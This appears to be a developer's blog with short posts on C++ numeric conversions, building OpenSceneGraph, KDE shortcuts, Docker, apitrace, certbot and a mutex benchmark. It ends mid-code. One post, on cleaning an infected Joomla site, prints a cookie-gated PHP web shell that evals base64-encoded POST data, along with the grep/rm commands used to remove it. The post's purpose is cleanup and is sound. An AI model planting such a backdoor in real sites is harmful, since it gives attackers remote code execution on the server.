I successfully installed Mac OS X Snow Leopard on Virtual Box using iBoot. iBoot requires “Enable EFI …” to be unchecked:
Numeric promotions and conversions in C++
In the following C++ code the values of ‘z’ and ‘n’ are undefined, because they are the result of an operation with signed integer arithmetic overflow (‘x’ and ‘y’ are first implicitly converted to signed int). The value of ‘w’ is implementation defined, because it is the result of a conversion:
#include <iostream>
#include <bitset>
int main(int argc, char *argv[])
{
unsigned short x = 65535, y = x;
unsigned short z = x * y;
unsigned int n = x * y;
std::cerr << "z = " << std::bitset<16>(z) << ", n = " << std::bitset<32>(n) << ", sizeof(int) = " << sizeof(int) << std::endl;
short w = 0x80000000;
return 0;
}
see Numeric conversions section of Implicit conversions article.
Building OsgEarth on Ubuntu 14.04
I already had QT 5.5.1 with GCC 4.7.3 (and probably some libraries, including libcurl4-gnutls-dev, libgdal-dev, glut, that are installed, but not built) on my machine, so I built OSG with the following commands (I am not sure that it makes a sense to clone recursively, but making with ‘CMAKE_BUILD_TYPE=Debug’ can be better than with ‘debug’ or ‘DEBUG’, because CMAKE does case-sensitive compare. We can build osgEarth 2.8 against OSG 3.4 or osgEarth master branch against OSG 3.4 or newer..):
cd ~ mkdir examples cd examples mkdir install git clone --recursive https://github.com/openscenegraph/OpenSceneGraph.git git tag git reset --hard OpenSceneGraph-3.4.0 mkdir -p build/osg cd build/osg cmake ../../OpenSceneGraph/ -DCMAKE_BUILD_TYPE=Debug -DCMAKE_INSTALL_PREFIX=/home/dmitry/examples/install make -j3 install export LD_LIBRARY_PATH=$LD_LIBRARY_PATH:/home/dmitry/examples/install/lib64 ~/examples/install/bin ./osgversiond
How I removed infected PHP files from Joomla 1.5 wesite.
I noticed that there are some suspicious PHP files with the following content on my Joomla 1.5 website:
<?php
if(!empty($_COOKIE['__utma']) and substr($_COOKIE['__utma'],0,16)=='3469825000034634'){
if (!empty($_POST['msg']) and $msg=@gzinflate(@base64_decode(@str_replace(' ','',urldecode($_POST['msg']))))){
echo '<textarea id=areatext>';
eval($msg);
echo '</textarea>bg';
exit;
}}
I used the following commands to list them and remove them:
find -type f -name "*.php" -printf '%T@ %p\n' | sort -r | awk '{print $2}' | xargs ls -l | less -N
grep --color -r -i -l "3469825000034634" . --include=*.{php,css,html} | xargs ls -l
grep --color -r -i -l "3469825000034634" . --include=*.{php,css,html} | xargs rm
Configuring input languages in KDE
If you need Russian language, for example, in KDE you go to System Settings->Input Devices->Keyboard, press Add button and select it:
How to make Shift+NumPad keys select text and Ctrl+Ins/Shfit+Ins copy/paste in KDE (like as in MS Windows)
I worked a long time with MS Windows before, and when I started to work with KDE, the most annoying thing was that in KDE’s default configuration I was unable to use Shift+NumPad arrows/End/Home to select the text in a text edtor (QT Creator, for example) and copy/paste with Ctrl+Ins/Shift+Ins. This way of copying and pasting is the favorite for me, because Ctrl and Shift are big buttons located at the left side of the keyboard and Ins is one of the biggest right button, so they can be quickly used by both hands. Fortunately there is built-in setting in KDE that enables all my shortcuts:
Running PHP 5.3/5.6 in a Docker container with Nginx on Ubuntu 16.04
The docker installation procedure depends on the system architecture that can be determined with the following commands:
cat /proc/cpuinfo dpkg --print-architecture
After I installed Docker, I successfully run its test application:
docker run hello-world
Unable to find image 'hello-world:latest' locally latest: Pulling from library/hello-world b04784fba78d: Pull complete Digest: sha256:f3b3b28a45160805bb16542c9531888519430e9e6d6ffc09d72261b0d26ff74f Status: Downloaded newer image for hello-world:latest Hello from Docker! This message shows that your installation appears to be working correctly. To generate this message, Docker took the following steps: 1. The Docker client contacted the Docker daemon. 2. The Docker daemon pulled the "hello-world" image from the Docker Hub. 3. The Docker daemon created a new container from that image which runs the executable that produces the output you are currently reading. 4. The Docker daemon streamed that output to the Docker client, which sent it to your terminal. To try something more ambitious, you can run an Ubuntu container with: docker run -it ubuntu bash Share images, automate workflows, and more with a free Docker ID: https://cloud.docker.com/ For more examples and ideas, visit: https://docs.docker.com/engine/userguide/
Using “apitrace” with an OpenGL application
The basic commands for using apitrace with an OpenGL application are:
apitrace trace --api=gl MyApp qapitrace MyApp.trace apitrace dump --blobs MyApp.trace
The last command generates blobs that can be inspected with the following command, for example:
tail -c $((12*10)) ~/repos/MyApp/build/blob_call2325.bin | xxd -g1
Or by writing a simple C++ program that converts them into CVS format:
Securing Nginx with Let’s Encrypt on Ubuntu 16.04
First we need to install certbot utility:
apt-get install software-properties-common
add-apt-repository ppa:certbot/certbot
apt-get update
apt-get install python-certbot-nginx
After that, we can easily generate SSL certificates for all the domains listed in Nginx ‘server_name’ attributes in alive (working) virtual hosts. The examples are:
sudo certbot --nginx certonly --cert-name slogpost.ru -d slogpost.ru -d www.slogpost.ru
sudo certbot certonly --nginx --cert-name sharlines.com -d sharlines.com -d www.sharlines.com
sudo certbot certonly --nginx --cert-name milomag.ru -d milomag.ru -d www.milomag.ru -d xn--80agwdbl3g.xn--p1ai -d www.xn--80agwdbl3g.xn--p1ai
sudo certbot certonly --nginx --cert-name developernote.com -d developernote.com -d www.developernote.com -d herb.developernote.com -d mastermag.developernote.com -d geographx.developernote.com -d git.developernote.com -d geographx.net -d www.geographx.net -d xn--80acc2atiigge7h.xn--p1ai -d www.xn--80acc2atiigge7h.xn--p1ai
(do not forget to run the commands above each time you add or remove a subdomain)
We cannot use wildcard domains line *.developernote.com with Let’s Encrypt, so we should list all the subdomains. And I do not see anything wrong in combining multiple domains in a single certificate.
To remove the certificate we do something like this:
certbot revoke --cert-path /etc/letsencrypt/live/developernote.com/fullchain.pem
certbot delete --cert-name developernote.com
Updating all the generated certificates:
certbot renew
After changing the website URL from HTTP to HTTPS, probably it makes a sense to update all the hyperlinks in MySQL database:
show tables;
show columns from wp_posts;
SELECT ID, post_title, post_date, post_name FROM wp_posts WHERE INSTR(post_content, 'http://slogpost.ru') <> 0;
UPDATE wp_posts SET post_content=REPLACE(post_content, 'http://slogpost.ru', 'https://slogpost.ru') WHERE INSTR(post_content, 'http://slogpost.ru') <> 0;
UPDATE wp_posts SET post_content=REPLACE(post_content, 'http://developernote.com', 'https://developernote.com') WHERE INSTR(post_content, 'http://developernote.com') <> 0;
The final step is adding certbot-renew.sh file to /etc/cron.monthly with the following content:
certbot renew
service squid reload
It seems like the service … command is completely ignored. Nothing in syslog, nothing in nginx logs. I switched to using
certbot renew
systemctl reload squid
instead, and this seems to work.
Comparison of std::mutex and std::atomic performance
The following C++ code compares the performance of std::atomic and std::mutex:
#include <atomic>
#include <mutex>
#include <iostream>
#include <chrono>
#include <thread>
const size_t size = 100000000;
std::mutex mutex;
bool var = false;
typedef std::chrono::high_resolution_clock Clock;
void testA()
{
std::atomic<bool> sync(true);
const auto start_time = Clock::now();
for (size_t counter = 0; counter < size; counter++)
{
var = sync.load();
//sync.store(true);
//sync.exchange(true);
}
const auto end_time = Clock::now();
std::cout << 1e-6*std::chrono::duration_cast<std::chrono::microseconds>(end_time - start_time).count() << " s\n";
}
